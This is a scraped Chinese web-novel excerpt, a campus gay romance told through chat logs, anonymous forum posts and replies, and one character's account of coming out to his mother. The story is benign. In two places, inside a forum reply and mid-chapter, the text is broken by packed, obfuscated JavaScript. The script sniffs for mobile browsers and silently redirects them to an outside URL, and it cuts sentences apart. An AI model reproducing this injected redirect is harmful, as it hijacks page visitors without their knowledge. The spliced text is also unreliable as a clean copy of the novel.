【圆圆】：睡了吗？ 【张】：没。 【圆圆】：我也睡不着。 【张】：在想什么？ 【圆圆】：在想今天。 【圆圆】：我妈后来没再说什么。 【圆圆】：她把自己关在房间里一下午。 【圆圆】：我听见她在哭。 【张】：…… 【张】：顾辞。 【圆圆】：嗯？ 【张】：你哭了吗？ 顾辞沉默了很久。 然后回： 【圆圆】：没有。 【圆圆】：我不能哭。 【圆圆】：我哭了，我妈会更难受。 张扬看着这行字，眼眶酸得不行。 顾辞不能哭。 因为他哭了，妈妈会更难受。 他把什么都压着。 压得死死的。 【张】：你可以哭。 【张】：在我这儿。 【张】：不用压着。 这次顾辞沉默得更久。 久到张扬以为顾辞不会回了。 然后顾辞发了一条语音。 很短。 只有两秒。 那边很安静。 安静得只能听见呼吸声。 然后，很轻很轻的—— 一下。 像是什么东西终于漏出来。 又像是拼命捂住的嘴。 张扬把手机扣在胸口。 眼眶湿了。 21. 我怕他放弃，但我更怕我搞砸一切 标题：【树洞】我怕他放弃，但我更怕我搞砸一切 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 三天了。 从那天晚上到现在，三天了。 这三天我过得像三年。 —— 顾辞还是每天给我发消息。 早上：起了。 中午：吃了。 晚上：睡了。 就这些。 没有视频，没有电话，没有语音。 只有这几个字。 我知道他在忙什么。 忙着陪他妈，忙着等他妈开口，忙着维持家里那点摇摇欲坠的平静。 我不敢多问。 怕他烦，怕他累，怕他本来就在撑着，我再一戳就塌了。 所以我只回： 嗯。 多吃点。 早点睡。 像个傻子一样。 —— 但这三天，我脑子里没停过。 他妈妈现在什么态度？ 他爸爸知道了吗？ 他们会不会逼他分手？ 他会不会…… 会不会觉得太累了，干脆算了？ 这个念头一冒出来，我就把自己吓一跳。 不会的。 他不会的。 他等了我十四年。 他不会说放弃就放弃。 可是…… 可是万一呢？ 万一他爸妈说“选我们还是选他”？ 万一他扛不住了呢？ 万一他觉得，让我自由，比让我陪他一起受苦更好呢？ 我不敢往下想了。 —— 今天中午，我躺在床上，盯着天花板。 突然一个念头冒出来： 我为什么不去找他？ 他现在一个人扛着，我在几十公里外，每天发几个字的消息，有什么用？ 我应该去他身边。 站在他旁边，握着他的手，告诉他：我在。 我猛地坐起来。 开始查地图。 从他家到我家，地铁一个小时四十分钟。 打车的话，不堵车四十分钟。 这么近。 近到我平时根本不会觉得这是“距离”。 可现在这几十公里，像隔着一条河。 我想冲过去。 但我不敢。 —— 我去了，住哪儿？ 住他家？不可能。 住酒店？那他爸妈怎么想？ 我一个电话没打，一个人冲到人家小区门口，他妈妈会怎么看我？ 会不会觉得我是在逼宫？ 会不会觉得我是在抢她儿子？ 会不会本来还有转圜的余地，我这一去，全砸了？ 而且。 而且顾辞没让我去。 他那么聪明的人，如果觉得我去有用，一定会告诉我。 他不说，就说明现在不是时候。 我躺回去了。 手机扔一边。 —— 下午我实在憋不住，在群里问了一句。 那个群是论坛的兄弟们拉的，叫什么“赛博父母关爱群”。 我发了条消息： 【张】：我想去找他，又怕不请自来激化矛盾。怎么办？ 群里炸了。 【赛博妈妈1号】：别去！千万别去！现在去就是火上浇油！ 【赛博爸爸2号】：你想想，他妈现在正处在“儿子被抢走”的情绪里，你一去，她更觉得你是在示威。 【赛博妈妈3号】：而且顾辞没让你去，说明他也在控制局面。你突然出现，反而打乱他的节奏。 【赛博姐姐4号】：你现在的任务不是冲过去，是稳住。让他知道你在，但别给他添乱。 【赛博爸爸5号】：对！你就每天发消息，别发太多，但让他知道你一直在。 【赛博妈妈1号】：等他需要你的时候，他自然会告诉你。你现在要做的就是相信他。 我看着那些消息，一条一条。 他们说得都对。 但我心里还是堵得慌。 【张】：我就是怕他扛不住。 【张】：怕他觉得太累了，就放弃了。 【赛博妈妈3号】：张扬，你听我说。 【赛博妈妈3号】：他等了你十四年。 【赛博妈妈3号】：十四年是什么概念？是他从六岁到二十岁，最美好的时光，都在等你。 【赛博妈妈3号】：这样的人，不会因为一点困难就放弃。 【赛博妈妈3号】：你要相信他。 我看着那几行字。 眼眶酸酸的。 —— 【六、他的消息】 晚上，顾辞又发消息了。 【圆圆】：睡了？ 【张】：没。 【圆圆】：在想什么？ 我想了想，回： 【张】：在想你。 【张】：想去找你。 那边沉默了一会儿。 然后他回： 【圆圆】：别来。 【圆圆】：现在别来。 我看着这两个“别来”，心里像被人攥了一下。 我知道他是对的。 但这两个字，还是让我难受。 我回： 【张】：好。 【张】：那我等。 【张】：等你能让我来的时候。 他又沉默了一会儿。 然后回： 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：我不会放弃的。 【圆圆】：你别怕。 我看着那两行字。 眼眶突然就湿了。 他让我别怕。 他自己扛着那么多，还让我别怕。 —— 现在我在床上，盯着天花板。 脑子里反复转着他那句话。 “我不会放弃的。” “你别怕。” 我信他。 我真的信他。 但我还是怕。 不是怕他放弃。 是怕他太累。 是怕他一个人扛得太辛苦。 是怕他明明难受得要死，还要跟我说“没事”。 是怕他在我看不见的地方，偷偷掉眼泪。 —— 兄弟们。 我知道你们想说什么。 相信他，等他自己处理，别添乱。 这些我都懂。 但懂和做，是两回事。 我们从小在一个城市长大，我家到他家，打车四十分钟。 这么近。 近到我平时根本不会觉得这是距离。 可现在这四十分钟，像隔着一条河。 我能看见对岸。 但我过不去。 —— 1楼匿名用户： 沙发。 但今天不想皮。 2楼匿名用户： 楼主，你的心情我懂。 真的懂。 那种想帮忙又帮不上，想冲过去又不敢冲的感觉。 3楼匿名用户： 而且你们还这么近。 几十公里，平时一脚油门的事。 现在却去不了。 这种感觉更难受吧？ 4楼楼主： 对。 就是那种……看得见摸不着的感觉。 明明就在同一个城市，却像隔着十万八千里。 5楼匿名用户： 但你做得对。 现在冲过去，真的会坏事。 6楼匿名用户： 顾辞那句“我不会放弃的”，是在给你定心丸。 也是在给自己定心丸。 他在告诉自己，这条路要走下去。 7楼匿名用户： 楼主，你知道吗，他现在最需要的，不是你出现在他面前。 是他需要你的时候，你随时都在。 8楼匿名用户： 对。 他现在每天给你发消息，就是在确认：你还在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382533|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你回“嗯”“多吃点”“早点睡”，就是在告诉他：我在。 9楼匿名用户： 这就够了。 真的够了。 10楼匿名用户： 等这件事过去，你们还有一辈子。 不差这几天。 11楼匿名用户： 而且你想想，顾辞现在什么处境？ 他在家里，要面对妈妈的情绪，要面对可能的爸爸的质问。 他已经够累了。 你要是再出点什么事，他还要分心担心你。 12楼匿名用户： 对！ 你现在稳住，就是对他最大的帮助。 13楼楼主： …… 好。 我稳住。 14楼匿名用户： 乖。 赛博妈妈摸摸头。 15楼匿名用户： 话说回来，四十分钟车程，确实很近。 等他能见你了，你随时都能过去。 比那些异地恋强多了。 16楼楼主： 嗯。 这倒是。 17楼匿名用户： 所以现在就是等。 等他告诉你，可以来了。 18楼楼主： 好。 —— 【深夜】 凌晨两点。 我还是睡不着。 手机突然震了。 【圆圆】：睡了吗？ 【张】：没。 【圆圆】：我也没。 【张】：在想什么？ 【圆圆】：在想你。 【圆圆】：想你在干什么，想你在想什么，想你有没有被我吓到。 我盯着那几行字。 然后打字： 【张】：我没被吓到。 【张】：我就是心疼你。 【圆圆】：…… 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你知道吗，我妈今天问我，你为什么喜欢我。 【张】：你怎么说？ 【圆圆】：我说，因为他看我的时候，眼睛会亮。 【圆圆】：因为他给我买包子买了三年，每次都知道我要什么口味。 【圆圆】：因为他在地铁上把我圈在怀里，怕别人挤到我。 【圆圆】：因为他陪我回家，帮我拉箱子，给我买盒饭。 【圆圆】：因为他抱我的时候，只有两秒，但我记到现在。 【圆圆】：我说，妈，这些事，换一个人，可能也能做。 【圆圆】：但只有他做的时候，我会心跳加速。 【圆圆】：只有他。 我看着这些字。 一行一行。 眼眶湿了又干，干了又湿。 然后我打字： 【张】：你妈怎么说？ 【圆圆】：她没说话。 【圆圆】：但我知道她在听。 【圆圆】：这就够了。 【张】：顾辞。 【圆圆】：嗯？ 【张】：我也想你了。 【张】：特别想。 【张】：想抱你。 【张】：想拉着你的手。 【张】：想看着你眼睛亮起来的样子。 【圆圆】：…… 【圆圆】：等我。 【圆圆】：等这件事过去，让你抱个够。 我看着那行字，笑了。 笑着笑着，眼眶又湿了。 —— 兄弟们。 我还是怕。 但好像没那么怕了。 因为他在那边，扛着一切，还想着让我别怕。 因为他说的那些话，证明我在他心里，不只是“男朋友”三个字。 是眼睛会亮。 是心跳加速。 是只有我。 —— 我等。 一直等。 等他需要我的那一天。 反正四十分钟就能到。 他说“来”，我就来。 22. 一个人的暗恋（顾辞视角） 顾辞第一次意识到自己喜欢张扬，是在十三岁那年的夏天。 那年他们刚上初一。张扬进了校足球队，每天训练到很晚。顾辞放学后会去操场边等他，带一瓶水，有时候是两个包子——张扬训练完总是饿。 那天他在操场边的梧桐树下坐着，看张扬在球场上跑来跑去。阳光很烈，张扬的球衣被汗水浸透，贴在背上。他追着球跑，大喊大叫，进球之后和队友撞胸庆祝，笑得很张扬——顾辞后来想，他的名字起得真好，张扬，真的张扬。 他坐在树下，看着那个浑身是汗、头发湿漉漉贴在额头上的人，突然觉得心跳快了一拍。 那种感觉很陌生。他低头看手里的水瓶，水珠顺着瓶壁滑下来，凉凉的。他想，可能是太热了。 但那天晚上回家，他躺在床上，闭着眼睛，脑子里全是张扬在阳光下跑动的样子。那个画面像刻在脑子里一样，挥之不去。 他翻了个身，把脸埋进枕头里。 十三岁的顾辞还不知道那意味着什么。他只是觉得，张扬和别人不一样。和别人在一起会累，和张扬在一起不会。张扬说话大声，走路带风，笑起来没心没肺，从来不问他“你怎么又不说话”，只是自顾自地讲训练的事、比赛的事、队里谁又犯蠢了。 他听那些话，有时候觉得吵，但更多时候觉得安心。 像有一个热闹的世界，把他包裹在里面。 真正意识到“喜欢”这两个字的重量，是在初三。 那年班里有人早恋，被班主任抓到，叫了家长。顾辞坐在座位上，听班主任在讲台上训话，说什么“你们这个年纪，懂什么是喜欢”“耽误学习”“以后会后悔”。 他低着头，假装在写作业。 但脑子里想的是张扬。 如果喜欢一个人，就是想和他待在一起，想听他说话，想看他笑，想给他买水买包子——那他算什么呢？ 他喜欢张扬。 不是朋友那种喜欢。 不是兄弟那种喜欢。 是另一种。 是看见他会心跳加速，是看不见他会想，是他靠太近的时候会紧张，是他搭着肩膀说“走，吃饭去”的时候，会偷偷记住那个温度。 他喜欢张扬。 那天晚上他失眠了。 躺在床上，盯着天花板，想了很久。 他想起小学的时候，有人欺负他文静，张扬冲上去把那个人按在地上。他想起初中的时候，他考砸了，张扬什么也没说，只是拉他去吃烧烤，点了他爱吃的所有东西。他想起每一次他在操场边等，张扬跑过来，满头大汗，接过他手里的水，仰头喝，喉结滚动，然后把空瓶扔给他，说“走，回家”。 那些画面一帧一帧地过。 他想，完了。 他真的喜欢他。 但张扬是直男。 这件事不需要确认。 张扬和队里的人聊天，会说“那个班的女生好看”“身材火辣那种”。张扬看球赛，会指着屏幕说“这女的漂亮”。张扬被问喜欢什么样的，会大大咧咧地说“前凸后翘的”。 那些话像针一样。 扎进去，不深，但疼。 顾辞从来不表现出来。 他学会了把自己藏起来。 张扬说那些话的时候，他就低头看书，或者看手机，假装没听见。张扬问他“你怎么不说话”，他就说“在看书”。张扬说“书有什么好看的”，他就说“比你好看”。 张扬会愣一下，然后说“操，你骂我”。 他就笑一下，不解释。 他不知道怎么解释。 说你说的那些话让我难受？说你不知道我喜欢你？说你在我面前说喜欢别的女生，每一句都是刀子？ 他说不出口。 他从小就不会说这些。 他只会藏。 把自己藏得好好的，让谁都看不出来。 高中的时候，他妈妈问过他一次。 那是一个周末的晚上，他妈来他房间送水果，突然说：“辞辞，你有没有喜欢的女生？” 他愣了一下，说：“没有。” 他妈看着他，没说话。 过了很久，他妈说：“没事，慢慢来。” 他妈走了。 他一个人坐在房间里，看着那盘水果，发了很久的呆。 “慢慢来”。 他慢慢了三年。 从初一到现在。 但他喜欢的那个人，还是会在操场上跑来跑去，还是会在训练后接过他的水，还是会搭着他的肩膀说“走，吃饭去”。 还是不知道他喜欢他。 还是不可能喜欢他。 高二那年，张扬被一个女生表白。 那个女生顾辞认识，是隔壁班的，长得好看，性格也开朗。她堵在球场边，等张扬训练完，递了一封信。 张扬接过去，挠了挠头，说“谢谢啊”。 然后他跑过来，把信往顾辞手里一塞，说“帮我看看写的什么”。 顾辞低头看那封信。 字迹清秀，写着“喜欢你的样子”“每次看你踢球都心跳加速”“希望能和你做朋友”。 他看完，把信还给张扬。 “人家喜欢你。”他说。 张扬愣了一下，说“啊？” “表白信。”他说，“问你愿不愿意。” 张扬又愣了一下，然后说“操，真的假的”。 顾辞没说话。 张扬拿着那封信，翻来覆去看了半天，最后说“算了，我跟她不熟”。 顾辞问：“不喜欢？” 张扬说：“不喜欢。” 然后他把那封信随手塞进口袋，说“走，吃饭去”。 顾辞跟着他走。 他不知道自己是什么心情。 高兴？张扬拒绝了别人。难过？张扬拒绝别人不是因为喜欢他，只是因为“不熟”。 他什么都没说。 他习惯了什么都不说。 高三那年，张扬保送了京华，体育特招。 顾辞知道他要去京华之后，填志愿的时候，只填了一个学校。 京华大学。 他妈问他想清楚了吗，他说想清楚了。 他妈没再问。 后来他考上了，文学院。 报到那天，张扬在校门口等他，看见他就跑过来，一把抱住他，说“操，你终于来了”。 他被抱得喘不过气，但还是笑了。 张扬不知道他为什么笑。 他自己知道。 因为以后四年，还能天天看见他。 大一那年，张扬还是每天来找他吃饭。 训练完一身汗，跑过来，往他对面一坐，说“饿死了，快点点菜”。 他就点张扬爱吃的那些。 张扬会一边吃一边说“你怎么知道我想吃这个”，他就说“猜的”。 张扬不知道他记得张扬爱吃什么。 张扬不知道他每次点菜的时候，心里是高兴的。 张扬不知道。 大二那年，张扬在更衣室里说的话，传到他耳朵里。 是顾远洲告诉他的。 那天顾远洲给他打电话，问他最近怎么样。他说还好。顾远洲沉默了一会儿，突然说：“圆圆，那个张扬，是直男吧？” 他愣了一下，说：“怎么了？” 顾远洲说：“我今天在漫展上碰到他们队的人，聊了几句。他们说张扬喜欢身材火辣的那种。” 他没说话。 顾远洲说：“圆圆，你别想了。” 他说：“我没想。” 顾远洲沉默了很久。 然后说：“好。” 挂了电话，他一个人在宿舍坐了很久。 他没想。 他知道不能想。 但他控制不住。 张扬来找他的时候，他还是会去。张扬叫他一起吃饭，他还是会答应。张扬搭他肩膀，他还是会心跳加速。 他知道这样不对。 他知道这样下去，最后受伤的只会是自己。 但他没办法。 那个人是他六岁就认识的人。 是他整个童年、整个少年、整个青春。 是他所有的“第一次”。 第一次被人保护，第一次给人买水，第一次等人训练完，第一次因为一个人失眠，第一次知道什么叫喜欢。 怎么可能说不想就不想。 大三开学那天，张扬在校门口等他。 还是那样，大大咧咧地跑过来，一把抱住他，说“操，一个暑假没见，你想我没”。 他说：“没想。” 张扬说：“骗人，你肯定想了。” 他没说话。 张扬不知道，他确实想了。 想了整整一个暑假。 每天每天地想。 想到快疯掉。 然后那天晚上，他在校门口接顾远洲。 顾远洲是他哥，从小对他好，他知道顾远洲喜欢他。但他没办法回应。他心里已经有人了。 那个人叫张扬。 他在路灯下站着，和顾远洲说话。 然后他看见张扬从树后面走出来。 那个表情，他这辈子都忘不掉。 惊讶、愤怒、难过，混在一起。 像被人抢了什么重要的东西。 他当时心里想的是： 张扬，你知道吗，那个表情，我看在眼里，心里是什么感觉？ 你是在意我吗？ 还是只是觉得“你的东西”被别人碰了？ 他不知道。 他不敢问。 后来的事，像做梦一样。 张扬吃醋，张扬陪他去临市，张扬在水族馆牵他的手，张扬在图书馆握着他的手一下午，张扬在高铁上把他圈在怀里。 每一件事，他都记得。 记得清清楚楚。 那天晚上张扬发消息说“我喜欢你”。 他看着那四个字，看了很久很久。 久到手机屏幕暗了，又点亮，又暗了。 然后他回了两个字。 “我等了你好久。” 十四年。 他认识他十四年。 从六岁到二十岁。 喜欢了他七年。 从十三岁到现在。 那天晚上他哭了。 不是难过的哭。 是那种……不知道该怎么形容的哭。 像憋了很久很久的一口气，终于吐出来了。 像走了很长很长的路，终于看见终点了。 像一个人在水底游了七年，终于浮出水面，可以呼吸了。 他哭了很久。 然后给张扬回了消息。 “晚安。” 他什么都没说。 他不需要说。 张扬懂。 那天之后，每一天都像做梦。 一起吃早饭，一起去图书馆，一起复习，一起回家。 张扬给他买包子，帮他拉箱子，在地铁上把他圈在怀里，在高铁上看着他不睡觉。 他知道张扬在看他。 每一次都知道。 但他假装不知道。 因为那个眼神太烫了。 他怕自己会忍不住。 然后寒假到了。 然后他妈知道了。 他妈是那种很温柔的人。 从小对他好，什么都依着他。 但他妈也是那种很传统的人。 书香门第，高校教授，一辈子都在那个圈子里。 他早就知道他妈会是什么反应。 但他还是抱着一点希望。 那天他妈问他：“是那个张扬吗？” 他说：“是。” 然后他妈沉默了。 那个沉默，像一把刀。 不是锋利的刀，是钝的。 一点一点地割。 他妈说：“我以为你只是一时糊涂。” 他妈说：“我以为你能自己走出来。” 他妈说：“他是直男啊，他不可能真的和你在一起的。” 他听着那些话，心里很疼。 但他什么都没说。 直到他妈说：“你让他帮你劝劝你自己。” 他突然就笑了。 那个笑，连他自己都不知道是什么意思。 然后他说：“妈，张扬是我男朋友。” “他不是直男。” “他喜欢我。” “我也喜欢他。” “我们在一起了。” 他妈愣住了。 然后站起来，走了。 那天晚上，他听见隔壁房间有哭声。 他妈在哭。 他躺在床上，听着那个哭声，不知道该做什么。 他想去敲门。 但他不知道说什么。 他想说“妈，对不起”。 但他说不出口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382534|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >因为他没有对不起谁。 他只是喜欢了一个人。 那个人恰好是男的。 那个人恰好是张扬。 仅此而已。 第二天，他给张扬发消息。 “起了。” “吃了。” “睡了。” 就这些。 他不敢说太多。 他怕自己会忍不住。 他怕听到张扬的声音，就会哭出来。 他怕张扬说“我过来找你”，他就会说“好”。 但他不能让张扬来。 现在不是时候。 他妈还在哭。 他爸还不知道。 一切都是一团乱麻。 他不能让张扬卷进来。 这是他的事。 他自己的事。 那天晚上，他和张扬聊天。 张扬说想来找他。 他说：“别来。现在别来。” 张扬说：“好。” 他说：“我不会放弃的。你别怕。” 发完这两句，他放下手机。 然后他哭了。 很短。 就几秒。 然后把眼泪擦干。 他不能哭太久。 他妈听见会担心。 那天晚上，他妈来他房间。 在门口站了很久，没进来。 他知道他妈在。 但他没说话。 过了很久，他妈说：“辞辞，你睡了吗？” 他说：“没有。” 他妈推门进来，走到他床边，坐下。 房间里很暗，只有窗外的月光。 他妈看着窗外，没看他。 过了很久，他妈说：“那个孩子……张扬……” “他妈妈我认识，是个好人。” “他从小照顾你，我都知道。” “我只是……” 她说不下去了。 顾辞也没说话。 又过了很久，他妈说：“你喜欢他多久了？” 他想了想。 “七年。” “从十三岁开始。” 他妈愣住了。 七年。 她什么都不知道。 她一直以为儿子只是内向，只是不爱说话，只是对女生没兴趣。 她不知道，儿子心里一直有一个人。 那个人叫张扬。 她沉默了很久。 然后她伸出手，握住了顾辞的手。 那只手有点凉，有点抖。 但握得很紧。 顾辞愣了一下。 然后反手握住了她。 他妈还是没看他。 但她说了一句话。 “妈需要时间。” “但妈不会不要你。” 顾辞听着那句话。 眼眶突然就酸了。 他张了张嘴，想说“谢谢”。 但没说出口。 只是握紧了她的手。 那天晚上，他妈在他房间里坐了很久。 母子俩谁都没说话。 就那样坐着，握着手。 窗外的月光很亮。 顾辞想起很多年前，他六岁，第一次见张扬。 张扬跑过来，问“你叫什么名字”。 他说“顾辞”。 张扬说“我叫张扬，以后我罩着你”。 那时候他不知道，“以后”会有多长。 现在他知道了。 一辈子。 那天晚上，他妈走之前，问了他一句。 “那个张扬……他对你好吗？” 他说：“好。” “怎么好？” 他想了一下。 然后说：“他给我买了三年包子。每次都知道我要什么口味。” “他在地铁上把我圈在怀里，怕别人挤到我。” “他陪我回家，帮我拉箱子，给我买盒饭。” “他看我的时候，眼睛会亮。” “他抱我的时候，只有两秒，但我记到现在。” 他妈听着那些话，沉默了很久。 然后她说：“那……以后带他回家吃饭吧。” 顾辞愣住了。 他妈说完就走了。 门轻轻关上。 他一个人坐在黑暗里。 眼眶湿了。 那天晚上，他给张扬发消息。 “张扬。” “嗯？” “我妈说，以后带你回家吃饭。” 那边沉默了很久。 然后他收到回复。 “操。” 他看着那个字，笑了。 笑着笑着，眼泪流下来了。 不是难过。 是高兴。 特别高兴。 他等这一天，等了很久。 比张扬等他的时间，还要久。 —— 张扬不是他第一个喜欢的人。 但会是他最后一个。 从十三岁到现在。 从现在到以后。 都是他。 只有他。 —— 窗外的月光很亮。 他看着那一小片月光，想起张扬说的话。 “你比月光还好看。” 那时候他耳朵红了。 现在想起来，还是想笑。 他拿起手机，发了一条消息。 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：我想你了。 【张】：我也想你。 【张】：想抱你。 【张】：想拉着你的手。 【张】：想看你看我的时候眼睛亮起来的样子。 他看着那几行字。 嘴角弯起来。 然后他打字： 【圆圆】：等我。 【圆圆】：等我能见你的时候。 【圆圆】：让你抱个够。 那边回： 【张】：好。 【张】：我等着。 —— 一个人的暗恋是漫长的告白。 他告白了很多年。 用每一次买水，每一次等他训练完，每一次和他一起吃饭。 用每一次心跳加速，每一次假装不在意，每一次偷偷记住他的样子。 用七年。 终于等到了。 23. 第一次上门要带什么？ 标题：【树洞】急！第一次上门要带什么？在线等！ 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们！！！ 出大事了！！！ 不对，是好事情！！！ —— 昨天晚上，我正躺在床上刷手机。 突然收到顾辞的消息。 【圆圆】：我妈说，下次回家，带你一起。 我盯着这行字，看了三遍。 第一遍：没看懂。 第二遍：好像看懂了。 第三遍：操操操操操！！！ 我从床上弹起来，在房间里走了三圈。 然后又坐回去，重新看那条消息。 没错。 是“带你一起”。 不是“以后再说”，不是“有机会的话”，是“带你一起”。 他妈说的。 他妈让我去他家吃饭。 —— 我给顾辞打电话。 他接起来，还没说话，我就喊： “真的假的？！！” 他在那边轻轻笑了一声。 “真的。” “我妈今天吃饭的时候说的。” “说让我下次带你回来，她做几个菜。” 我说：“你妈……不生气了？” 他说：“不是不生气。” “但她愿意试试。” “试试接受，试试了解，试试……和你吃饭。” 我听着他那句“试试”，心里突然有点酸。 他妈是那种书香门第出来的，一辈子端着，一辈子体面。 让她说出“试试”这两个字，得多难。 我说：“顾辞。” “嗯？” “你妈真好。” 他沉默了一下。 然后说：“嗯。” 声音有点哑。 —— 挂了电话，我又在房间里走了三圈。 然后冲到我妈房间门口，敲门。 我妈开门，一脸警惕：“大晚上干嘛？” 我说：“妈！顾辞他妈让我下次去他家吃饭！” 我妈愣了一下。 然后说：“哦。” 我说：“就‘哦’？？你不激动吗？？” 我妈说：“激动什么？人家那是给顾辞面子，你以为给你呢？” 我：“……” 我妈说：“去了别丢人，少吃点，多说谢谢，别跟在家似的。” 我说：“知道了知道了。” 我妈又说：“带点东西去，别空手。” 我说：“带什么？” 我妈想了想，说：“水果吧，别太贵的，也别太便宜的。客气点就行。” 我点点头，记下了。 —— 【问题来了】 回到房间，我开始认真想这个问题。 带水果？ 是不是太普通了？ 顾辞家是书香门第，他爸妈都是文化人。 我拎着一兜橘子去，会不会显得太……太莽了？ 可是带什么呢？ 茶叶？我不懂。 酒？他爸喝不喝酒我不知道。 书？我又不知道他爸妈喜欢看什么。 我他妈一个体育生，这辈子没这么为送礼发过愁。 —— 所以兄弟们。 求求你们了。 第一次上门，带什么？ 要那种……不丢人的，不尴尬的，不显得我太傻的。 最好还能让他爸妈觉得“这孩子还挺懂事”的。 在线等！ 挺急的！ —— 1楼匿名用户： 沙发！！！ 楼主你终于回来了！！！ 2楼匿名用户： 卧槽卧槽卧槽！！！ 顾辞妈妈同意了？？？ 这是什么神仙发展！！！ 3楼匿名用户： 呜呜呜呜呜！！！ 赛博父母流下了欣慰的泪水！！！ 儿子终于要见家长了！！！ 4楼匿名用户： 楼主你这个问题问得好！ 第一次上门，确实是技术活！ 5楼匿名用户： 水果不行，太普通了。 而且顾辞家那种书香门第，你拎一兜橘子去，确实不太对味。 6楼匿名用户： 茶叶！ 送茶叶！ 有文化，不贵，还体面！ 7楼匿名用户： 回6楼：但楼主不懂茶叶啊！ 万一买到不好的，或者买错品类，更尴尬。 8楼匿名用户： 水果可以，但得是那种……有品质的水果。 比如进口的车厘子，比如那种礼盒装的水蜜桃。 看着好看，吃着也好。 9楼匿名用户： 对对对！ 车厘子！又贵又不容易踩雷！ 而且现在正好是季节！ 10楼匿名用户： 或者送坚果礼盒？ 那种包装好看的，也挺体面。 11楼匿名用户： 鲜花？ 书香门第应该喜欢花吧？ 12楼匿名用户： 回11楼：鲜花可以，但得是那种……不太张扬的。 别送红玫瑰，送点淡雅的，比如百合、兰花什么的。 13楼匿名用户： 等等等等，你们都忽略了一个重要问题！ 顾辞爸妈什么性格？ 楼主你知道不？ 14楼楼主： 他爸我没见过。 他妈我见过几次，就是那种……很温柔但很严肃的。 话不多，但看人看得很准那种。 15楼匿名用户： 懂了。 这种长辈，不喜欢花里胡哨的。 喜欢实在的，有心的。 16楼匿名用户： 那我觉得可以送点心。 那种老字号的，包装精致的点心。 又实在，又有心意，还能一起吃。 17楼匿名用户： 对对对！ 麦香村那种！ 或者本地的老字号糕点！ 肯定不出错！ 18楼匿名用户： 而且点心可以大家一起吃，不会像茶叶那样放着不知道什么时候喝。 19楼匿名用户： 我再加一个：可以带点你家乡的特产。 你不是本地人吧？带点老家的东西，显得有心，还有话题可以聊。 20楼楼主： 这个可以有。 我老家有那种手工做的腊肠，我妈每年都买。 挺好吃的，应该能拿得出手吧？ 21楼匿名用户： 腊肠！ 这个好！ 有特色，有诚意，还能做菜！ 他妈做饭的时候正好能用上！ 22楼匿名用户： 对对对！ 你就说“这是我老家那边的特产，我妈说这个做菜特别香，带来给您尝尝”。 既显得你懂事，又显得你妈也懂礼数。 23楼楼主： 好！ 记下了！ 24楼匿名用户： 再加一盒车厘子！ 又好看又好吃！ 完美！ 25楼匿名用户： 楼主你穿什么想好了吗？ 别穿你那身运动服去！ 26楼楼主： …… 还没想。 27楼匿名用户： 穿干净点！ 别太正式，也别太随意！ 卫衣牛仔裤可以，但要干净的！ 别穿那件被你踢球穿烂了的！ 28楼楼主： …… 我穿新买的那件。 29楼匿名用户： 对对对！ 就是上次约会穿的那件深灰色！ 顾辞说好看的那件！ 30楼楼主： 你怎么知道是哪件？ 31楼匿名用户： 废话！ 你上次约会回来汇报过的！ “深灰色卫衣，他说好看”！ 赛博父母记着呢！ 32楼楼主： …… 行吧。 33楼匿名用户： 还有，去了之后别紧张！ 该说话说话，该吃饭吃饭！ 别光顾着紧张，一句话不说！ 34楼匿名用户： 对！ 多说“谢谢阿姨”“阿姨做的菜真好吃”！ 这种话永远不会错！ 35楼匿名用户： 还有，帮忙收拾！ 吃完饭主动帮忙收碗！ 虽然人家肯定不会让你洗，但这个态度要有！ 36楼匿名用户： 对对对！ 眼力见儿！ 一定要有眼力见儿！ 37楼匿名用户： 还有，别一直盯着顾辞看！ 我知道你想看他，但在他爸妈面前，收敛点！ 该看菜看菜，该看人看人！ 38楼楼主： …… 知道了。 39楼匿名用户： 还有还有！ 别叫“顾辞”！ 叫“小辞”或者“辞辞”？ 他爸妈怎么叫的？ 40楼楼主： 他妈叫他“辞辞”。 41楼匿名用户： 那你也叫“辞辞”？ 会不会太肉麻？ 42楼匿名用户： 叫“小辞”吧！ 亲切但不肉麻！ 43楼楼主： 好。 小辞。 44楼匿名用户： 还有！ 别提前到！ 也别迟到！ 提前五分钟到最合适！ 45楼楼主： 好。 46楼匿名用户： 礼物提前准备好！ 包装好看点！ 别拎着塑料袋去！ 47楼楼主： 好。 48楼匿名用户： 还有还有！ 万一他爸问你问题，好好回答！ 别“嗯”“啊”“还行”！ 多说几句！ 49楼楼主： 好。 50楼匿名用户： 行了，暂时想到这么多。 楼主你记下来！ 51楼楼主： 记了。 备忘录快写满了。 52楼匿名用户： 哈哈哈哈哈哈！ 赛博父母的爱，就是这么沉重！ 53楼匿名用户： 楼主，加油！ 这次见面很重要！ 但也不用太紧张！ 你是去吃饭的，不是去面试的！ 54楼匿名用户： 对！ 做你自己！

